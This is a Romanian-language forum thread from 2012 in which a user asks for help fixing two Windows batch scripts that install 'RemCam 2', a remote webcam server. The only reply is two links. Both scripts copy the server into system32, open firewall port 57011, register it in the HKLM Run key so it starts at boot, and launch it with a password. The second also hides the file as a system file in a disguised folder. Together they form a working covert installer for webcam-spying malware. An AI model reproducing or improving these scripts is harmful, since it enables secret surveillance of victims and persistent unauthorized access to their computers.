Forum Index > Coș cu teme șterse > Soft > RemCam 2, bat to Windows 7.

#0 by DJokerHZ (User) (0 mesaje) at 2012-06-26 21:01:43 (686 săptămâni în urmă) - [Link]Top
Cine ma ajuta sa fac un bat sau sa le corectez pe astea 2......pentru Windows 7...

Bat1________________________________________________________________
@echo off
set dest=%systemroot%\system32
set exe=cam2_sv.exe (numele programei)
set pass=PAROLA
set port=57011
set arun=HKLM

netsh firewall add portopening tcp 57011 all
netsh advfirewall firewall add rule localport=57011 protocol=tcp action=allow dir=in name=camserver
copy %exe% %dest%\%exe%
set cmdline=%dest%\%exe% pass=%pass% port=%port%
start %cmdline%
reg add %arun%\Software\Microsoft\Windows\CurrentVersion\R un /v "%exe%" /t REG_SZ /d "%cmdline%" /f
____________________________________________________________________________________________
Bat2________________________________________________________________________________________
@echo off

mkdir %systemroot%\system32\sysfiles
mkdir %SystemRoot%\system32\sysfiles\server

copy /y "cam_server.exe" "%SystemRoot%\system32\sysfiles\server\cam_server.exe"

netsh firewall add allowedprogram "%SystemRoot%\system32\sysfiles\server\cam_server.exe" "cam_server" ENABLE
netsh firewall add portopening tcp 57011 all

attrib +s +h +r "%SystemRoot%/system32/sysfiles/server/cam_server.exe"

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "cam_server.exe" /t REG_SZ /d "%SystemRoot%\system32\sysfiles\server\cam_server.exe pass=Пароль port=57011" /f

cd %SystemRoot%\system32\sysfiles\server
start cam_server.exe pass=Пароль port=57011
exit
____________________________________________________________________________________


Mesaj util ?   Da   0 puncte

1
<< Precedenta      Următoarea >>

#1 by Kerrigan (Knight of TMD) (0 mesaje) at 2012-06-28 12:02:25 (686 săptămâni în urmă) - [Link]Top
1) http://torrentsmd.com/forum.php?action=viewtopic&topicid=111046

2) http://torrentsmd.com/forum.php?action=viewtopic&topicid=207292


Mesaj util ?   Da   0 puncte

1
<< Precedenta      Următoarea >>

Forum Index > Coș cu teme șterse > Soft > RemCam 2, bat to Windows 7.

Această temă este închisă. Nu puteţi posta mesaje noi.


Navigare rapidă:


Comunitatea digitală din Moldova. Să adunăm și să organizăm conținutul autohton de pe întreg internet pe un singur site web.